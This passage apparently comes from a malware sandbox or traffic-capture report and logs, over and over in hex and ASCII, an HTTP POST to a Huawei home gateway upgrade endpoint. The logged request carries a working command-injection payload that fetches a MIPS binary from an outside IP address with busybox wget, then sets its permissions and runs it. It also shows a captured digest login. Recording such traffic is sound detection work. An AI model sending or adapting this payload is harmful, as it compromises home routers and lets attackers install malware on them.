73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 